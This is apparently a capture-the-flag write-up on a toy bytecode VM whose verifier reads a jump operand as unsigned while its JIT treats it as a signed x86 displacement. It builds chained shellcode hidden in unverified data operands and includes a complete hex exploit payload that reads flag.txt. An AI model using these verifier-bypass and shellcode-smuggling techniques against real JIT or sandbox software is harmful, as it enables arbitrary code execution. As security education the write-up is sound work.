Exploiting a verifier/executor semantic mismatch in a custom bytecode JIT engine to achieve arbitrary code execution.
"During Bangladesh's Liberation War, field operatives relied on coded transmissions to coordinate their resistance... The verification unit and the field engine may not agree on the route."
That last sentence is the whole challenge, once you know where to look: two pieces of code are supposed to agree on how to interpret the same bytes, and they don't.
$ file chal
chal: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 4.4.0, stripped
Statically-linked base address, no PIE (ELF ... executable, not ... shared object), stripped. That last point matters a lot later — a non-PIE binary means every address inside it is a fixed, known constant, with no ASLR to fight.
Running it presents a menu:
========================================
MUKTIR SHONGKET
FIELD COMMUNICATION TERMINAL
========================================
Every transmission requires command approval.
1. Upload coded transmission
2. Inspect decoded orders
3. Verify transmission
4. Execute transmission
5. Clear terminal
6. Disconnect
>
Option 1 accepts a hex string (up to 512 raw bytes once decoded), which becomes a little program written in a custom bytecode. Option 3 must "verify" that program before option 4 will "execute" it. This is basically a toy VM with a code-signing/validation step in front of a JIT — a classic setup for a verifier/executor semantic mismatch bug.
Using objdump -d -M intel and cross-referencing the .rodata strings (WAIT, SIGNAL, ROUTE, END, FREEDOM, format strings like "%04zx %-8s\n", " 0x%016lx", " +%u"), the "Inspect decoded orders" routine (option 2) makes the encoding obvious, since it just pretty-prints each opcode:
| Opcode byte | Mnemonic | Total width (source) | Operand |
|---|---|---|---|
| 0x10 | WAIT | 1 byte | none |
| 0x20 | SIGNAL | 9 bytes | 8-byte value (printed as 0x%016lx) |
| 0x30 | ROUTE | 2 bytes | 1-byte value (printed as +%u) |
| 0x40 | END | 1 byte | none |
| 0xf0 | FREEDOM | 1 byte | none, but verify unconditionally rejects it with "Rejected: unauthorized freedom broadcast." |
The uploaded bytes are stored verbatim in a fixed .bss buffer at 0x404080 (max 0x200 = 512 bytes — capped by how much .bss is actually reserved after it). A global at 0x404068 holds the stored length, and a flag at 0x404060 records whether the last upload passed verification.
Entry point ~0x401430. It walks the stored bytes with an index rdx, switching on the opcode byte:
40147c: movzx eax, byte [rbx+rdx] ; rbx = 0x404080 (source buffer)
401480: cmp al, 0x30 ; ROUTE
401482: je 4015c0
401488: jbe 401450 ; al <= 0x30 -> WAIT / SIGNAL
40148a: cmp al, 0x40 ; END
40148c: je 401660
401492: cmp al, 0xf0 ; FREEDOM
401494: je 401690 ; -> always "Rejected: unauthorized freedom broadcast."
WAIT / SIGNAL: bounds-checked for their declared width (1 or 9 bytes) and skipped. Crucially, SIGNAL's 8-byte operand is never inspected at all — the verifier only checks that 9 bytes exist, then moves on. It is completely opaque data as far as verification is concerned.END: sets a flag (r15d |= 1) recording that an END was seen somewhere in the stream. The transmission is only "approved" if this flag ends up set.FREEDOM: instant, unconditional rejection, no matter where it appears. This looks like the "obvious" restricted opcode — a decoy that steers you toward trying to sneak a 0xf0 byte past the scanner, which is a dead end (see §5).ROUTE — the actual bug:4015c0: lea rsi, [rdx+2] ; rsi = position right after this ROUTE
4015c4: cmp rcx, rsi ; bounds check: enough bytes for opcode+operand?
4015c7: jb 40149a
4015cd: movzx eax, byte [rbx+rdx+1] ; eax = operand byte, read UNSIGNED
4015d2: add rax, rsi ; "virtual target" = rsi + operand
4015d5: cmp rax, rcx ; is that target still inside the transmission?
4015d8: jae 401849 ; -> "Rejected: route leaves transmission..."
4015de: mov rdx, rsi ; !!! continue scanning from rsi, NOT from rax !!!
4015e1: cmp rdx, rcx
4015e4: jb 40147c
So the verifier:
ROUTE operand as an unsigned byte (0–255).rdx = rsi (the very next byte after the ROUTE instruction) and keeps scanning linearly.In other words: ROUTE in the verifier is not a jump. It's a promise about a jump that is checked but never kept — verification always proceeds byte-by-byte through the entire buffer regardless of any ROUTE present in it.
This is where things actually get interesting. Option 4 requires the verified flag to be set, then:
r14 = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
// translate loop, rax = source index, rdx = dest index into r14
mprotect(r14, 0x1000, PROT_READ|PROT_EXEC);
((void(*)())r14)();
It doesn't interpret the bytecode — it compiles it to real x86-64 machine code in an RWX-turned-RX buffer and jumps into it. The translation, opcode by opcode:
| Source opcode | Emitted machine code | Source width | Dest width |
|---|---|---|---|
| WAIT (0x10) | 90 (nop) | 1 | 1 |
| SIGNAL (0x20) | EB 08 (jmp +8) followed by the raw 8-byte operand | 9 | 10 |
| ROUTE (0x30) | E9 <rel32> (jmp rel32) | 2 | 5 |
| END (0x40) | C3 (ret) | 1 | 1 |
| FREEDOM (0xf0) | (not handled — falls through to reject) | — | — |
Look closely at the SIGNAL translation. It compiles to a 2-byte jmp that hops clean over its own 8-byte operand. Under normal, linear control flow, that operand is genuinely inert — it's just data sitting after an unconditional jump that skips it. That's exactly why the verifier is happy to leave it unexamined: as bytecode, it's provably dead. But it's dead only as long as execution actually reaches it via the jmp, and not by falling or jumping directly into the middle of it.
Now look at the ROUTE translation:
4017ff: movsx ecx, byte [rbx+rax+1] ; operand byte, SIGN-EXTENDED this time
401804: mov byte [r14+rdx], 0xE9 ; emit real jmp opcode
401816: mov dword [r14+rdx+1], ecx ; the rel32 displacement IS the raw operand byte
Here's the mismatch, stated precisely:
ROUTE operand as an unsigned value and interprets it as an offset in the source bytecode — purely for a bounds check it then throws away.movsx) and burns it directly into the rel32 field of a real x86 jmp instruction in the translated output buffer — an entirely different address space with different instruction widths (source SIGNAL = 9 bytes, translated SIGNAL = 10 bytes; source ROUTE = 2 bytes, translated ROUTE = 5 bytes; etc.).So a ROUTE operand doesn't jump to "offset N in the bytecode you uploaded." It jumps to "offset N in the compiled code, relative to right after the jmp instruction" — a location the verifier has no model of whatsoever, and which can point straight into the middle of a SIGNAL's "opaque, never-checked" 8-byte payload, skipping past its guarding jmp +8.
That's the whole bug: the verifier reasons about the source bytecode; the field engine executes the compiled output; a ROUTE's meaning silently changes between the two representations, and the verifier's opaque SIGNAL data becomes reachable, attacker-controlled shellcode in the compiled output.
FREEDOM (0xf0) is a dead endIt's tempting to think the goal is to smuggle a 0xf0 byte past the verifier. But:
0xf0 unconditionally, anywhere in the linear scan — and since the verifier always scans linearly through the entire buffer (it never actually takes the ROUTE jump, per §3), there is no position you can hide a 0xf0 byte where the verifier won't eventually walk over it and reject the whole transmission.0xf0 at all — any opcode other than WAIT/SIGNAL/ROUTE/END falls through to "Field engine rejected the translated transmission."FREEDOM is flavor/red herring. The real "freedom" comes from turning SIGNAL operands into shellcode via the ROUTE desync.
SIGNAL's dataPlace a ROUTE as the very first instruction, immediately followed by a SIGNAL. In the translated buffer this becomes:
[E9 <rel32>] [EB 08][8 bytes of SIGNAL data]
5 bytes 2 bytes 8 bytes
The jmp is 5 bytes long, so "the address right after it" is exactly where the SIGNAL's EB 08 header starts. We want to land 2 bytes further in — right at the start of the 8 data bytes, skipping the header that would otherwise jump over them. So:
rel32 = +2 → ROUTE operand byte = 0x02
Since 0x02 is small and positive, it satisfies both interpretations at once: the verifier's unsigned bounds check (target = 2 bytes further into the source, trivially in-bounds) and the field engine's signed rel32 (a harmless small forward jump). No suspicious-looking negative/huge byte required.
SIGNALs into a bigger shellcode8 bytes isn't much room for real shellcode. But we can chain blocks together: if the last two bytes of a SIGNAL's 8-byte data are a short jump EB 02, execution — instead of falling through into the next SIGNAL's EB 08 header (which would jump over its data, skipping it) — jumps 2 bytes past itself, i.e. straight past that header and into the next block's data:
block i: [ 6 bytes of our code/pad ][ EB 02 ]
│
▼ (skip next block's own EB 08 header)
block i+1: [ 6 bytes of our code/pad ][ EB 02 ] ...
Since every translated SIGNAL is exactly 10 bytes (2 header + 8 data) and blocks are laid out contiguously, this EB 02 always lands exactly on the start of the next block's data, regardless of which block it is. That gives 6 usable bytes per SIGNAL (the trailing 2 bytes are spent on the chaining jump), at a cost of 9 source bytes and 10 compiled bytes per block. With a 512-byte source cap that's up to ~50 blocks (~300 usable bytes) — comfortably enough for a small syscall-only payload.
flag.txt with zero writable buffersBecause the binary is non-PIE, the string "flag.txt" already sitting in .rodata has a fixed, known address — 0x40201c — so the shellcode doesn't need to spell out the filename itself (which would eat precious bytes). And using sendfile() instead of read()+write() avoids needing any scratch buffer at all:
xor esi, esi ; O_RDONLY, mode=0
xor edx, edx
mov edi, 0x40201c ; "flag.txt" (static address, non-PIE)
xor eax, eax
mov al, 2 ; sys_open
syscall ; rax = fd
mov esi, eax ; in_fd = fd
mov edi, 1 ; out_fd = stdout
xor edx, edx ; offset = NULL
mov r10d, 0x1000 ; count
mov eax, 40 ; sys_sendfile
syscall
xor edi, edi ; exit(0)
mov eax, 60 ; sys_exit
syscall
46 bytes total. Packed into ten 8-byte SIGNAL blocks (nine chained with EB 02, one final block with no chain needed since the process exit()s):
Block 1: 31 F6 31 D2 90 90 EB 02 xor esi,esi; xor edx,edx; nop nop; jmp+2
Block 2: BF 1C 20 40 00 90 EB 02 mov edi,0x40201c; nop; jmp+2
Block 3: 31 C0 B0 02 0F 05 EB 02 xor eax,eax; mov al,2; syscall; jmp+2
Block 4: 89 C6 90 90 90 90 EB 02 mov esi,eax; nop x4; jmp+2
Block 5: BF 01 00 00 00 90 EB 02 mov edi,1; nop; jmp+2
Block 6: 31 D2 90 90 90 90 EB 02 xor edx,edx; nop x4; jmp+2
Block 7: 41 BA 00 10 00 00 EB 02 mov r10d,0x1000; jmp+2
Block 8: B8 28 00 00 00 90 EB 02 mov eax,40; nop; jmp+2
Block 9: 0F 05 31 FF 90 90 EB 02 syscall; xor edi,edi; nop x2; jmp+2
Block10: B8 3C 00 00 00 0F 05 90 mov eax,60; syscall; nop (no chain — last block)
ROUTE +2 30 02
SIGNAL <block 1> 20 <8 bytes>
SIGNAL <block 2> 20 <8 bytes>
...
SIGNAL <block 10> 20 <8 bytes>
END 40
93 bytes total, well inside the 512-byte cap, and it satisfies the verifier: it contains an END (so the "must have an END" check passes), no 0xf0 byte anywhere, every WAIT/SIGNAL/ROUTE/END width check passes, and the ROUTE's target bound-check trivially holds (+2 from the position right after it is still well inside the buffer).
Final hex payload:
30022031f631d29090eb0220bf1c20400090eb022031c0b0020f05eb022089c690909090eb0220bf0100000090eb022031d290909090eb022041ba00100000eb0220b82800000090eb02200f0531ff9090eb0220b83c0000000f059040
Sequence against the service: upload (1) → paste the hex → verify (3) → execute (4).
> Relaying orders to field execution engine...
BDSEC{mukt1r_5h0ngk3t_r34ch3d_th3_f13ld}
option 4 mmaps an RW page, JIT-compiles our bytecode into it (turning ROUTE +2 into E9 02 00 00 00, and each SIGNAL into EB 08 + our chosen bytes), mprotects it R-X, and calls into offset 0 — which is our ROUTE, which immediately misdirects into the first SIGNAL's data, running our chained syscall shellcode, which sendfile()s flag.txt straight to the terminal's stdout before calling exit(0).
The verifier validates the uploaded bytecode as a linear sequence and treats ROUTE's operand as an unsigned, purely-advisory bounds hint it never acts on, while SIGNAL's operand is trusted as opaque non-executable data; the field engine instead JIT-compiles that bytecode into a different byte layout and treats the exact same ROUTE operand as a signed, literal jmp displacement inside the compiled code — so a value the verifier considers "just a number that must stay in-bounds" becomes, at execution time, a redirection straight into attacker-controlled bytes the verifier promised were never reachable.
movzx vs movsx on the same field) whenever a validate-then-run pipeline is in play.